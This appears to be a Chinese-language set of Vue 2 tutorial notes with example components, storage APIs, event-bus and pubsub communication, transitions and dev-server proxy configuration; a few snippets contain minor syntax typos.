│   │   └── logo.png
│   │── component: 存放組件
│   │   └── HelloWorld.vue
│   │── App.vue: 彙總所有組件
│   │── main.js: 入口文件
├── .gitignore: git版本管制忽略的配置
├── babel.config.js: babel的配置文件
├── package.json: 應用包配置文件 
├── README.md: 應用描述文件
├── package-lock.json:包版本控制文件

腳手架demo

components:

就直接把單文件組件的 School.vue 和 Student.vue 兩個文件直接拿來用,不需要修改。

App.vue:

引入這兩個組件,註冊一下這兩個組件,再使用。

<template>
  <div id="app">
    <img alt="Vue logo" src="./assets/logo.png">
    <Student></Student>
    <School></School>
  </div>
</template>

<script>
import School from './components/School.vue'
import Student from './components/Student.vue'

export default {
  name: 'App',
  components: {
    School,
    Student
  }
}
</script>

<style>
#app {
  font-family: Avenir, Helvetica, Arial, sans-serif;
  -webkit-font-smoothing: antialiased;
  -moz-osx-font-smoothing: grayscale;
  text-align: center;
  color: #2c3e50;
  margin-top: 60px;
}
</style>

main.js:

入口文件

import Vue from 'vue'
import App from './App.vue'

Vue.config.productionTip = false

new Vue({
  render: h => h(App),
}).$mount('#app')

接下來就要詳細講解 main.js 中的 render 函數

render函數

插入一個小知識:

使用 import 導入第三方庫的時候不需要 加 './'

導入我們自己寫的:

import App from './App.vue'

導入第三方的

import Vue from 'vue'

不需要在 from 'vue' 加 './' 的原因是第三方庫 node_modules 人家幫我們配置好了。

我們通過 import 導入第三方庫,在第三方庫的 package.json 文件中確定了我們引入的是哪個文件

在這裏插入圖片描述

通過 module 確定了我們要引入的文件。

回到 render 函數

之前的寫法是這樣:

import App from './App.vue'

new Vue({
	el:'#root',
	template:`<App></App>`,
	components:{App},
})

如果這樣子寫,運行的話會引發如下的報錯

在這裏插入圖片描述

報錯的意思是,是在使用運行版本的 vue ,沒有模板解析器。

從上面的小知識可以知道,我們引入的 vue 不是完整版的,是殘缺的(爲了減小vue的大小)。所以殘缺的vue.js 只有通過 render 函數才能把項目給跑起來。

來解析一下render

// render最原始寫的方式
// render是個函數,還能接收到參數a
// 這個 createElement 很關鍵,是個回調函數
new Vue({
  render(createElement) {
      console.log(typeof createElement);
      // 這個 createElement 回調函數能創建元素
      // 因爲殘缺的vue 不能解析 template,所以render就來幫忙解決這個問題
      // createElement 能創建具體的元素
      return createElement('h1', 'hello')
  }
}).$mount('#app')

在這裏插入圖片描述

因爲 render 函數內並沒有用到 this,所以可以簡寫成箭頭函數。

new Vue({
  // render: h => h(App),
  render: (createElement) => {
    return createElement(App)
  }
}).$mount('#app')

再簡寫:

new Vue({
  // render: h => h(App),
  render: createElement => createElement(App)
}).$mount('#app')

最後把 createElement 換成 h 就完事了。

算啦算啦,把簡寫都整理一遍吧,js裏的簡寫確實多哇。

對象內寫方法最原始的:

let obj = {
    name: 'aaa',
    work: function (salary) {
        return '工資' + salary;
    }
}

ES6 簡化版:

let obj = {
    name: 'aaa',
    work(salary) {
        return '工資' + salary;
    }
}

箭頭函數簡化版:

let obj = {
    name: 'aaa',
    work: (salary) => {
        return '工資' + salary;
    }
}

箭頭函數再簡化(最終版):

// 只有一個參數就可以把圓括號去了,函數體內部只有一個 return 就可以把大括號去掉,return去掉
let obj = {
    name: 'aaa',
    work: salary => '工資' + salary;
}

這樣就可以理解 render 函數的簡寫方式了。

來個不同版本 vue 的區別

  • vue.js與vue.runtime.xxx.js的區別:
    • vue.js是完整版的Vue,包含:核心功能+模板解析器。
    • vue.runtime.xxx.js是運行版的Vue,只包含:核心功能;沒有模板解析器。
  • 因爲vue.runtime.xxx.js沒有模板解析器,所以不能使用template配置項,需要使用render函數接收到的createElement函數去指定具體內容。

修改腳手架的默認配置

  • 使用vue inspect > output.js可以查看到Vue腳手架的默認配置。
  • 使用vue.config.js可以對腳手架進行個性化定製,詳情見:https://cli.vuejs.org/zh

腳手架中的index.html

<!DOCTYPE html>
<html lang="">
  <head>
    <meta charset="utf-8">
	<!-- 針對IE瀏覽器的一個特殊配置,含義是讓IE瀏覽器以最高的渲染級別渲染頁面 -->
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
	<!-- 開啓移動端的理想視口 -->
    <meta name="viewport" content="width=device-width,initial-scale=1.0">
	<!-- 配置頁籤圖標 -->
    <link rel="icon" href="<%= BASE_URL %>favicon.ico">
	<!-- 引入第三方樣式 -->
	<link rel="stylesheet" href="<%= BASE_URL %>css/bootstrap.css">
	<!-- 配置網頁標題 -->
    <title>硅谷系統</title>
  </head>
  <body>
		<!-- 當瀏覽器不支持js時noscript中的元素就會被渲染 -->
    <noscript>
      <strong>We're sorry but <%= htmlWebpackPlugin.options.title %> doesn't work properly without JavaScript enabled. Please enable it to continue.</strong>
    </noscript>
		<!-- 容器 -->
    <div id="app"></div>
    <!-- built files will be auto injected -->
  </body>
</html>

2.2 vue 零碎的一些知識

ref屬性

  • 被用來給元素或子組件註冊引用信息(id的替代者)
  • 應用在html標籤上獲取的是真實DOM元素,應用在組件標籤上是組件實例對象(vc)
  • 使用方式:
    • 打標識:<h1 ref="xxx">.....</h1><School ref="xxx"></School>
    • 獲取:this.$refs.xxx

具體案例

<template>
	<div>
		<h1 v-text="msg" ref="title"></h1>
		<button ref="btn" @click="showDOM">點我輸出上方的DOM元素</button>
		<School ref="sch"/>
	</div>
</template>

<script>
	//引入School組件
	import School from './components/School'

	export default {
		name:'App',
		components:{School},
		data() {
			return {
				msg:'歡迎學習Vue!'
			}
		},
		methods: {
			showDOM(){
				console.log(this.$refs.title) //真實DOM元素
				console.log(this.$refs.btn) //真實DOM元素
				console.log(this.$refs.sch) //School組件的實例對象(vc)
			}
		},
	}
</script>

props配置項

  1. 功能:讓組件接收外部傳過來的數據

  2. 傳遞數據:<Demo name="xxx"/>

  3. 接收數據:

    1. 第一種方式(只接收):props:['name']

    2. 第二種方式(限制類型):props:{name:String}

    3. 第三種方式(限制類型、限制必要性、指定默認值):

      props:{
      	name:{
              type:String, //類型
              required:true, //必要性
              default:'老王' //默認值
      	}
      }
      

    備註:props是隻讀的,Vue底層會監測你對props的修改,如果進行了修改,就會發出警告,若業務需求確實需要修改,那麼請複製props的內容到data中一份,然後去修改data中的數據。

示例代碼:

父組件給子組件傳數據

App.vue

<template>
  <div id="app">
    <img alt="Vue logo" src="./assets/logo.png">
    <Student></Student>
    <School name="haha" :age="this.age"></School>
  </div>
</template>

<script>
import School from './components/School.vue'
import Student from './components/Student.vue'

export default {
  name: 'App',
  data () {
    return {
      age: 360  
    }
  },
  components: {
    School,
    Student
  }
}
</script>

<style>
#app {
  font-family: Avenir, Helvetica, Arial, sans-serif;
  -webkit-font-smoothing: antialiased;
  -moz-osx-font-smoothing: grayscale;
  text-align: center;
  color: #2c3e50;
  margin-top: 60px;
}
</style>

School.vue

<template>
  <div class="demo">
    <h2>學校名稱:{{ name }}</h2>
    <h2>學校年齡:{{ age }}</h2>
    <h2>學校地址:{{ address }}</h2>
    <button @click="showName">點我提示學校名</button>
  </div>
</template>

<script>
export default {
  name: "School",
  // 最簡單的寫法:props: ['name', 'age']
  props: {
    name: {
      type: String,
      required: true // 必須要傳的
    },
    age: {
      type: Number,
      required: true
    }
  },
  data() {
    return {
      address: "北京昌平",
    };
  },
  methods: {
    showName() {
      alert(this.name);
    },
  },
};
</script>

<style>
.demo {
  background-color: orange;
}
</style>

mixin(混入)

混入 (mixin) 提供了一種非常靈活的方式,來分發 Vue 組件中的可複用功能。一個混入對象可以包含任意組件選項。當組件使用混入對象時,所有混入對象的選項將被“混合”進入該組件本身的選項。

例子:

// 定義一個混入對象
var myMixin = {
  created: function () {
    this.hello()
  },
  methods: {
    hello: function () {
      console.log('hello from mixin!')
    }
  }
}

// 定義一個使用混入對象的組件
var Component = Vue.extend({
  mixins: [myMixin]
})

選項合併

當組件和混入對象含有同名選項時,這些選項將以恰當的方式進行“合併”。

比如,數據對象在內部會進行遞歸合併,並在發生衝突時以組件數據優先。

var mixin = {
  data: function () {
    return {
      message: 'hello',
      foo: 'abc'
    }
  }
}

new Vue({
  mixins: [mixin],
  data: function () {
    return {
      message: 'goodbye',
      bar: 'def'
    }
  },
  created: function () {
    console.log(this.$data)
    // => { message: "goodbye", foo: "abc", bar: "def" }
  }
})

同名鉤子函數將合併爲一個數組,因此都將被調用。另外,混入對象的鉤子將在組件自身鉤子之前調用。

var mixin = {
  created: function () {
    console.log('混入對象的鉤子被調用')
  }
}

new Vue({
  mixins: [mixin],
  created: function () {
    console.log('組件鉤子被調用')
  }
})

// => "混入對象的鉤子被調用"
// => "組件鉤子被調用"

值爲對象的選項,例如 methodscomponentsdirectives,將被合併爲同一個對象。兩個對象鍵名衝突時,取組件對象的鍵值對。

var mixin = {
  methods: {
    foo: function () {
      console.log('foo')
    },
    conflicting: function () {
      console.log('from mixin')
    }
  }
}

var vm = new Vue({
  mixins: [mixin],
  methods: {
    bar: function () {
      console.log('bar')
    },
    conflicting: function () {
      console.log('from self')
    }
  }
})

vm.foo() // => "foo"
vm.bar() // => "bar"
vm.conflicting() // => "from self"

全局混入不建議使用

插件

插件通常用來爲 Vue 添加全局功能。插件的功能範圍沒有嚴格的限制。

通過全局方法 Vue.use() 使用插件。它需要在你調用 new Vue() 啓動應用之前完成:

// 調用 `MyPlugin.install(Vue)`
Vue.use(MyPlugin)

new Vue({
  // ...組件選項
})

本質:包含install方法的一個對象,install的第一個參數是Vue,第二個以後的參數是插件使用者傳遞的數據。

定義插件:

對象.install = function (Vue, options) {
    // 1. 添加全局過濾器
    Vue.filter(....)

    // 2. 添加全局指令
    Vue.directive(....)

    // 3. 配置全局混入(合)
    Vue.mixin(....)

    // 4. 添加實例方法
    Vue.prototype.$myMethod = function () {...}
    Vue.prototype.$myProperty = xxxx
}

具體案例:

plugin.js

export default {
    install(Vue, x, y, z) {
        console.log(x, y, z)
        //全局過濾器
        Vue.filter('mySlice', function (value) {
            return value.slice(0, 4)
        })

        //定義全局指令
        Vue.directive('fbind', {
            //指令與元素成功綁定時(一上來)
            bind(element, binding) {
                element.value = binding.value
            },
            //指令所在元素被插入頁面時
            inserted(element, binding) {
                element.focus()
            },
            //指令所在的模板被重新解析時
            update(element, binding) {
                element.value = binding.value
            }
        })

        //定義混入
        Vue.mixin({
            data() {
                return {
                    x: 100,
                    y: 200
                }
            },
        })

        //給Vue原型上添加一個方法(vm和vc就都能用了)
        Vue.prototype.hello = () => { alert('你好啊aaaa') }
    }
}

main.js

// 引入插件
import plugin from './plugin'

// 使用插件
Vue.use(plugin)

然後就可以在別的組件使用插件裏的功能了。

scoped樣式

  1. 作用:讓樣式在局部生效,防止衝突。
  2. 寫法:<style scoped>

具體案例:

<style lang="less" scoped>
	.demo{
		background-color: pink;
		.atguigu{
			font-size: 40px;
		}
	}
</style>

總結TodoList案例

  1. 組件化編碼流程:

    ​ (1).拆分靜態組件:組件要按照功能點拆分,命名不要與html元素衝突。

    ​ (2).實現動態組件:考慮好數據的存放位置,數據是一個組件在用,還是一些組件在用:

    ​ 1).一個組件在用:放在組件自身即可。

    ​ 2). 一些組件在用:放在他們共同的父組件上(狀態提升)。

    ​ (3).實現交互:從綁定事件開始。

  2. props適用於:

    ​ (1).父組件 ==> 子組件 通信

    ​ (2).子組件 ==> 父組件 通信(要求父先給子一個函數)

  3. 使用v-model時要切記:v-model綁定的值不能是props傳過來的值,因爲props是不可以修改的!

  4. props傳過來的若是對象類型的值,修改對象中的屬性時Vue不會報錯,但不推薦這樣做。

2.3 瀏覽器本地存儲

Cookie是最早被提出來的本地存儲方式,在此之前,服務端是無法判斷網絡中的兩個請求是否是同一用戶發起的,爲解決這個問題,Cookie就出現了。Cookie 是存儲在用戶瀏覽器中的一段不超過 4 KB 的字符串。它由一個名稱(Name)、一個值(Value)和其它幾個用 於控制 Cookie 有效期、安全性、使用範圍的可選屬性組成。不同域名下的 Cookie 各自獨立,每當客戶端發起請求時,會自動把當前域名下所有未過期的 Cookie 一同發送到服務器。

Cookie的特性:

  • Cookie一旦創建成功,名稱就無法修改
  • Cookie是無法跨域名的,也就是說a域名和b域名下的cookie是無法共享的,這也是由Cookie的隱私安全性決定的,這樣就能夠阻止非法獲取其他網站的Cookie
  • 每個域名下Cookie的數量不能超過20個,每個Cookie的大小不能超過4kb
  • 有安全問題,如果Cookie被攔截了,那就可獲得session的所有信息,即使加密也於事無補,無需知道cookie的意義,只要轉發cookie就能達到目的
  • Cookie在請求一個新的頁面的時候都會被髮送過去

Cookie 在身份認證中的作用

客戶端第一次請求服務器的時候,服務器通過響應頭的形式,向客戶端發送一個身份認證的 Cookie,客戶端會自動 將 Cookie 保存在瀏覽器中。

隨後,當客戶端瀏覽器每次請求服務器的時候,瀏覽器會自動將身份認證相關的 Cookie,通過請求頭的形式發送給 服務器,服務器即可驗明客戶端的身份。

在這裏插入圖片描述

Cookie 不具有安全性

由於 Cookie 是存儲在瀏覽器中的,而且瀏覽器也提供了讀寫 Cookie 的 API,因此 Cookie 很容易被僞造,不具有安全 性。因此不建議服務器將重要的隱私數據,通過 Cookie 的形式發送給瀏覽器。

注意:千萬不要使用 Cookie 存儲重要且隱私的數據!比如用戶的身份信息、密碼等。

Session

Session是另一種記錄客戶狀態的機制,不同的是Cookie保存在客戶端瀏覽器中,而Session保存在服務器上。客戶端瀏覽器訪問服務器的時候,服務器把客戶端信息以某種形式記錄在服務器上。這就是Session。客戶端瀏覽器再次訪問時只需要從該Session中查找該客戶的狀態就可以了session是一種特殊的cookie。cookie是保存在客戶端的,而session是保存在服務端。

爲什麼要用session
由於cookie 是存在用戶端,而且它本身存儲的尺寸大小也有限,最關鍵是用戶可以是可見的,並可以隨意的修改,很不安全。那如何又要安全,又可以方便的全局讀取信息呢?於是,這個時候,一種新的存儲會話機制:session 誕生了

session原理
當客戶端第一次請求服務器的時候,服務器生成一份session保存在服務端,將該數據(session)的id以cookie的形式傳遞給客戶端;以後的每次請求,瀏覽器都會自動的攜帶cookie來訪問服務器(session數據id)。

圖示:

在這裏插入圖片描述

session我覺得可以簡單理解爲一個表,根據cookie傳來的值查詢表中的內容

session 標準工作流程

在這裏插入圖片描述

我在 node.js 中詳細演示了一遍 session 的使用,具體看了另一篇博客:https://blog.csdn.net/hangao233/article/details/123089029

LocalStorage

LocalStorage是HTML5新引入的特性,由於有的時候我們存儲的信息較大,Cookie就不能滿足我們的需求,這時候LocalStorage就派上用場了。

LocalStorage的優點:

  • 在大小方面,LocalStorage的大小一般爲5MB,可以儲存更多的信息
  • LocalStorage是持久儲存,並不會隨着頁面的關閉而消失,除非主動清理,不然會永久存在
  • 僅儲存在本地,不像Cookie那樣每次HTTP請求都會被攜帶

LocalStorage的缺點:

  • 存在瀏覽器兼容問題,IE8以下版本的瀏覽器不支持
  • 如果瀏覽器設置爲隱私模式,那我們將無法讀取到LocalStorage
  • LocalStorage受到同源策略的限制,即端口、協議、主機地址有任何一個不相同,都不會訪問

LocalStorage的常用API:

// 保存數據到 localStorage
localStorage.setItem('key', 'value');

// 從 localStorage 獲取數據
let data = localStorage.getItem('key');

// 從 localStorage 刪除保存的數據
localStorage.removeItem('key');

// 從 localStorage 刪除所有保存的數據
localStorage.clear();

// 獲取某個索引的Key
localStorage.key(index)

LocalStorage的使用場景:

  • 有些網站有換膚的功能,這時候就可以將換膚的信息存儲在本地的LocalStorage中,當需要換膚的時候,直接操作LocalStorage即可
  • 在網站中的用戶瀏覽信息也會存儲在LocalStorage中,還有網站的一些不常變動的個人信息等也可以存儲在本地的LocalStorage中

SessionStorage

SessionStorage和LocalStorage都是在HTML5才提出來的存儲方案,SessionStorage 主要用於臨時保存同一窗口(或標籤頁)的數據,刷新頁面時不會刪除,關閉窗口或標籤頁之後將會刪除這些數據。

SessionStorage與LocalStorage對比:

  • SessionStorage和LocalStorage都在本地進行數據存儲
  • SessionStorage也有同源策略的限制,但是SessionStorage有一條更加嚴格的限制,SessionStorage只有在同一瀏覽器的同一窗口下才能夠共享
  • LocalStorage和SessionStorage都不能被爬蟲爬取

SessionStorage的常用API:

// 保存數據到 sessionStorage
sessionStorage.setItem('key', 'value');

// 從 sessionStorage 獲取數據
let data = sessionStorage.getItem('key');

// 從 sessionStorage 刪除保存的數據
sessionStorage.removeItem('key');

// 從 sessionStorage 刪除所有保存的數據
sessionStorage.clear();

// 獲取某個索引的Key
sessionStorage.key(index)

SessionStorage的使用場景

由於SessionStorage具有時效性,所以可以用來存儲一些網站的遊客登錄的信息,還有臨時的瀏覽記錄的信息。當關閉網站之後,這些信息也就隨之消除了。

具體案例:

localStorage

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>localStorage</title>
	</head>
	<body>
		<h2>localStorage</h2>
		<button onclick="saveData()">點我保存一個數據</button>
		<button onclick="readData()">點我讀取一個數據</button>
		<button onclick="deleteData()">點我刪除一個數據</button>
		<button onclick="deleteAllData()">點我清空一個數據</button>

		<script type="text/javascript" >
			let p = {name:'張三',age:18}

			function saveData(){
				localStorage.setItem('msg','hello!!!')
				localStorage.setItem('msg2',666)
                // 轉成 JSON 對象存進去
				localStorage.setItem('person',JSON.stringify(p))
			}
			function readData(){
				console.log(localStorage.getItem('msg'))
				console.log(localStorage.getItem('msg2'))

				const result = localStorage.getItem('person')
				console.log(JSON.parse(result))

				// console.log(localStorage.getItem('msg3'))
			}
			function deleteData(){
				localStorage.removeItem('msg2')
			}
			function deleteAllData(){
				localStorage.clear()
			}
		</script>
	</body>
</html>

sessionStorage

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>sessionStorage</title>
	</head>
	<body>
		<h2>sessionStorage</h2>
		<button onclick="saveData()">點我保存一個數據</button>
		<button onclick="readData()">點我讀取一個數據</button>
		<button onclick="deleteData()">點我刪除一個數據</button>
		<button onclick="deleteAllData()">點我清空一個數據</button>

		<script type="text/javascript" >
			let p = {name:'張三',age:18}

			function saveData(){
				sessionStorage.setItem('msg','hello!!!')
				sessionStorage.setItem('msg2',666)
                // 轉換成JSON 字符串存進去
				sessionStorage.setItem('person',JSON.stringify(p))
			}
			function readData(){
				console.log(sessionStorage.getItem('msg'))
				console.log(sessionStorage.getItem('msg2'))

				const result = sessionStorage.getItem('person')
				console.log(JSON.parse(result))

				// console.log(sessionStorage.getItem('msg3'))
			}
			function deleteData(){
				sessionStorage.removeItem('msg2')
			}
			function deleteAllData(){
				sessionStorage.clear()
			}
		</script>
	</body>
</html>

2.4 組件自定義事件

組件自定義事件是一種組件間通信的方式,適用於:子組件 ===> 父組件

使用場景

A是父組件,B是子組件,B想給A傳數據,那麼就要在A中給B綁定自定義事件(事件的回調在A中)。

綁定自定義事件:

第一種方式,在父組件中:<Demo @atguigu="test"/><Demo v-on:atguigu="test"/>

具體代碼

App.vue

<template>
	<div class="app">
		<!-- 通過父組件給子組件綁定一個自定義事件實現:子給父傳遞數據(第一種寫法,使用@或v-on) -->
		<Student @atguigu="getStudentName"/> 
	</div>
</template>

<script>
	import Student from './components/Student'

	export default {
		name:'App',
		components:{Student},
		data() {
			return {
				msg:'你好啊!',
				studentName:''
			}
		},
		methods: {
			getStudentName(name,...params){
				console.log('App收到了學生名:',name,params)
				this.studentName = name
			}
		}
	}
</script>

<style scoped>
	.app{
		background-color: gray;
		padding: 5px;
	}
</style>

Student.vue

<template>
	<div class="student">
		<button @click="sendStudentlName">把學生名給App</button>
	</div>
</template>

<script>
	export default {
		name:'Student',
		data() {
			return {
				name:'張三',
			}
		},
		methods: {
			sendStudentlName(){
				//觸發Student組件實例身上的atguigu事件
				this.$emit('atguigu',this.name,666,888,900)
			}
		},
	}
</script>

<style lang="less" scoped>
	.student{
		background-color: pink;
		padding: 5px;
		margin-top: 30px;
	}
</style>

第二種方式,在父組件中:

使用 this.$refs.xxx.$on() 這樣寫起來更靈活,比如可以加定時器啥的。

具體代碼

App.vue

<template>
	<div class="app">
		<!-- 通過父組件給子組件綁定一個自定義事件實現:子給父傳遞數據(第二種寫法,使用ref) -->
		<Student ref="student"/>
	</div>
</template>

<script>
	import Student from './components/Student'

	export default {
		name:'App',
		components:{Student},
		data() {
			return {
				studentName:''
			}
		},
		methods: {
			getStudentName(name,...params){
				console.log('App收到了學生名:',name,params)
				this.studentName = name
			},
		},
		mounted() {
			this.$refs.student.$on('atguigu',this.getStudentName) //綁定自定義事件
			// this.$refs.student.$once('atguigu',this.getStudentName) //綁定自定義事件(一次性)
		},
	}
</script>

<style scoped>
	.app{
		background-color: gray;
		padding: 5px;
	}
</style>

Student.vue

<template>
	<div class="student">
		<button @click="sendStudentlName">把學生名給App</button>
	</div>
</template>

<script>
	export default {
		name:'Student',
		data() {
			return {
				name:'張三',
			}
		},
		methods: {
			sendStudentlName(){
				//觸發Student組件實例身上的atguigu事件
				this.$emit('atguigu',this.name,666,888,900)
			}
		},
	}
</script>

<style lang="less" scoped>
	.student{
		background-color: pink;
		padding: 5px;
		margin-top: 30px;
	}
</style>

若想讓自定義事件只能觸發一次,可以使用once修飾符,或$once方法。

觸發自定義事件:this.$emit('atguigu',數據)

使用 this.$emit() 就可以子組件向父組件傳數據

解綁自定義事件this.$off('atguigu')

代碼

this.$off('atguigu') //解綁一個自定義事件
// this.$off(['atguigu','demo']) //解綁多個自定義事件
// this.$off() //解綁所有的自定義事件

組件上也可以綁定原生DOM事件,需要使用native修飾符。

代碼

<!-- 通過父組件給子組件綁定一個自定義事件實現:子給父傳遞數據(第二種寫法,使用ref) -->
<Student ref="student" @click.native="show"/>

注意:通過this.$refs.xxx.$on('atguigu',回調)綁定自定義事件時,回調要麼配置在methods中要麼用箭頭函數,否則this指向會出問題!

2.5 全局事件總線

  1. 一種組件間通信的方式,適用於任意組件間通信

  2. 安裝全局事件總線:

    new Vue({
    	......
    	beforeCreate() {
    		Vue.prototype.$bus = this //安裝全局事件總線,$bus就是當前應用的vm
    	},
        ......
    }) 
    
  3. 使用事件總線:

    1. 接收數據:A組件想接收數據,則在A組件中給$bus綁定自定義事件,事件的回調留在A組件自身。

      methods(){
        demo(data){......}
      }
      ......
      mounted() {
        this.$bus.$on('xxxx',this.demo)
      }
      
    2. 提供數據:this.$bus.$emit('xxxx',數據)

  4. 最好在beforeDestroy鉤子中,用$off去解綁當前組件所用到的事件。

示例代碼

School.vue

<template>
	<div class="school">
		<h2>學校名稱:{{name}}</h2>
		<h2>學校地址:{{address}}</h2>
	</div>
</template>

<script>
	export default {
		name:'School',
		data() {
			return {
				name:'尚硅谷',
				address:'北京',
			}
		},
        methods: {
            demo(data) {
                console.log('我是School組件,收到了數據',data)
            }
        }
		mounted() {
			// console.log('School',this)
			this.$bus.$on('hello',this.demo)
		},
		beforeDestroy() {
			this.$bus.$off('hello')
		},
	}
</script>

<style scoped>
	.school{
		background-color: skyblue;
		padding: 5px;
	}
</style>

Student.vue

<template>
	<div class="student">
		<h2>學生姓名:{{name}}</h2>
		<h2>學生性別:{{sex}}</h2>
		<button @click="sendStudentName">把學生名給School組件</button>
	</div>
</template>

<script>
	export default {
		name:'Student',
		data() {
			return {
				name:'張三',
				sex:'男',
			}
		},
		mounted() {
			// console.log('Student',this.x)
		},
		methods: {
			sendStudentName(){
				this.$bus.$emit('hello',this.name)
			}
		},
	}
</script>

<style lang="less" scoped>
	.student{
		background-color: pink;
		padding: 5px;
		margin-top: 30px;
	}
</style>

在這裏插入圖片描述

在這裏插入圖片描述

2.6 消息訂閱與發佈

  1. 一種組件間通信的方式,適用於任意組件間通信

  2. 使用步驟:

    1. 安裝pubsub:npm i pubsub-js

    2. 引入: import pubsub from 'pubsub-js'

    3. 接收數據:A組件想接收數據,則在A組件中訂閱消息,訂閱的回調留在A組件自身。

      methods:{
        demo(data){......}
      }
      ......
      mounted() {
        this.pid = pubsub.subscribe('xxx',this.demo) //訂閱消息
      }
      
    4. 提供數據:pubsub.publish('xxx',數據)

    5. 最好在beforeDestroy鉤子中,用PubSub.unsubscribe(pid)取消訂閱。

示例代碼

訂閱消息

School.vue

<template>
	<div class="school">
		<h2>學校名稱:{{name}}</h2>
		<h2>學校地址:{{address}}</h2>
	</div>
</template>

<script>
	import pubsub from 'pubsub-js'
	export default {
		name:'School',
		data() {
			return {
				name:'尚硅谷',
				address:'北京',
			}
		},
		mounted() {
			// console.log('School',this)
			/* this.$bus.$on('hello',(data)=>{
				console.log('我是School組件,收到了數據',data)
			}) */
			this.pubId = pubsub.subscribe('hello',(msgName,data)=>{
				console.log(this)
				// console.log('有人發佈了hello消息,hello消息的回調執行了',msgName,data)
			})
		},
		beforeDestroy() {
			// this.$bus.$off('hello')
			pubsub.unsubscribe(this.pubId)
		},
	}
</script>

<style scoped>
	.school{
		background-color: skyblue;
		padding: 5px;
	}
</style>

發佈消息

Student.vue

<template>
	<div class="student">
		<h2>學生姓名:{{name}}</h2>
		<h2>學生性別:{{sex}}</h2>
		<button @click="sendStudentName">把學生名給School組件</button>
	</div>
</template>

<script>
	import pubsub from 'pubsub-js'
	export default {
		name:'Student',
		data() {
			return {
				name:'張三',
				sex:'男',
			}
		},
		mounted() {
			// console.log('Student',this.x)
		},
		methods: {
			sendStudentName(){
				// this.$bus.$emit('hello',this.name)
				pubsub.publish('hello',666)
			}
		},
	}
</script>

<style lang="less" scoped>
	.student{
		background-color: pink;
		padding: 5px;
		margin-top: 30px;
	}
</style>

2.7 nextTick

  1. 語法:this.$nextTick(回調函數)
  2. 作用:在下一次 DOM 更新結束後執行其指定的回調。
  3. 什麼時候用:當改變數據後,要基於更新後的新DOM進行某些操作時,要在nextTick所指定的回調函數中執行。

具體案例

this.$nextTick(function(){
	this.$refs.inputTitle.focus()
}

2.8 Vue封裝的過度與動畫

  1. 作用:在插入、更新或移除 DOM元素時,在合適的時候給元素添加樣式類名。

  2. 圖示:
    在這裏插入圖片描述

  3. 寫法:

    1. 準備好樣式:

      • 元素進入的樣式:
        1. v-enter:進入的起點
        2. v-enter-active:進入過程中
        3. v-enter-to:進入的終點
      • 元素離開的樣式:
        1. v-leave:離開的起點
        2. v-leave-active:離開過程中
        3. v-leave-to:離開的終點
    2. 使用<transition>包裹要過渡的元素,並配置name屬性:

      <transition name="hello">
      	<h1 v-show="isShow">你好啊!</h1>
      </transition>
      
    3. 備註:若有多個元素需要過度,則需要使用:<transition-group>,且每個元素都要指定key值。

具體案例(單個元素過渡)

<template>
	<div>
		<button @click="isShow = !isShow">顯示/隱藏</button>
		<transition appear>
			<h1 v-show="isShow">你好啊!</h1>
		</transition>
	</div>
</template>

<script>
	export default {
		name:'Test',
		data() {
			return {
				isShow:true
			}
		},
	}
</script>

<style scoped>
	h1{
		background-color: orange;
	}

	.v-enter-active{
		animation: move 0.5s linear;
	}

	.v-leave-active{
		animation: move 0.5s linear reverse;
	}

	@keyframes move {
		from{
			transform: translateX(-100%);
		}
		to{
			transform: translateX(0px);
		}
	}
</style>

name 的作用可以讓讓不同的元素有不同的動畫效果


<template>
	<div>
		<button @click="isShow = !isShow">顯示/隱藏</button>
		<transition name="hello" appear>
			<h1 v-show="isShow">你好啊!</h1>
		</transition>
	</div>
</template>

<script>
	export default {
		name:'Test',
		data() {
			return {
				isShow:true
			}
		},
	}
</script>

<style scoped>
	h1{
		background-color: orange;
	}

	.hello-enter-active{
		animation: move 0.5s linear;
	}

	.hello-leave-active{
		animation: move 0.5s linear reverse;
	}

	@keyframes move {
		from{
			transform: translateX(-100%);
		}
		to{
			transform: translateX(0px);
		}
	}
</style>

具體案例(多個元素過渡)

<template>
	<div>
		<button @click="isShow = !isShow">顯示/隱藏</button>
		<transition-group name="hello" appear>
			<h1 v-show="!isShow" key="1">你好啊!</h1>
			<h1 v-show="isShow" key="2">尚硅谷!</h1>
		</transition-group>
	</div>
</template>

<script>
	export default {
		name:'Test',
		data() {
			return {
				isShow:true
			}
		},
	}
</script>

<style scoped>
	h1{
		background-color: orange;
	}
	/* 進入的起點、離開的終點 */
	.hello-enter,.hello-leave-to{
		transform: translateX(-100%);
	}
	.hello-enter-active,.hello-leave-active{
		transition: 0.5s linear;
	}
	/* 進入的終點、離開的起點 */
	.hello-enter-to,.hello-leave{
		transform: translateX(0);
	}
</style>

使用第三庫的具體案例(隨便看看,這個不重要)
庫的名稱:Animate.css
安裝:npm i animate.css
引入:import 'animate.css'

<template>
	<div>
		<button @click="isShow = !isShow">顯示/隱藏</button>
		<transition-group 
			appear
			name="animate__animated animate__bounce" 
			enter-active-class="animate__swing"
			leave-active-class="animate__backOutUp"
		>
			<h1 v-show="!isShow" key="1">你好啊!</h1>
			<h1 v-show="isShow" key="2">尚硅谷!</h1>
		</transition-group>
	</div>
</template>

<script>
	import 'animate.css'
	export default {
		name:'Test',
		data() {
			return {
				isShow:true
			}
		},
	}
</script>

<style scoped>
	h1{
		background-color: orange;
	}
</style>

2.9 vue腳手架配置代理

可以用來解決跨域的問題
在這裏插入圖片描述

ajax 是前端技術,你得有瀏覽器,纔有window對象,纔有xhr,才能發ajax請求,服務器之間通信就用傳統的http請求就行了。

方法一

​ 在vue.config.js中添加如下配置:

devServer:{
  proxy:"http://localhost:5000"
}

說明:

  1. 優點:配置簡單,請求資源時直接發給前端(8080)即可。
  2. 缺點:不能配置多個代理,不能靈活的控制請求是否走代理。
  3. 工作方式:若按照上述配置代理,當請求了前端不存在的資源時,那麼該請求會轉發給服務器 (優先匹配前端資源)

方法二

​ 編寫vue.config.js配置具體代理規則:

module.exports = {
	devServer: {
      proxy: {
      '/api1': {// 匹配所有以 '/api1'開頭的請求路徑
        target: 'http://localhost:5000',// 代理目標的基礎路徑
        changeOrigin: true,
        pathRewrite: {'^/api1': ''}//代理服務器將請求地址轉給真實服務器時會將 /api1 去掉
      },
      '/api2': {// 匹配所有以 '/api2'開頭的請求路徑
        target: 'http://localhost:5001',// 代理目標的基礎路徑
        changeOrigin: true,
        pathRewrite: {'^/api2': ''}
      }
    }
  }
}
/*
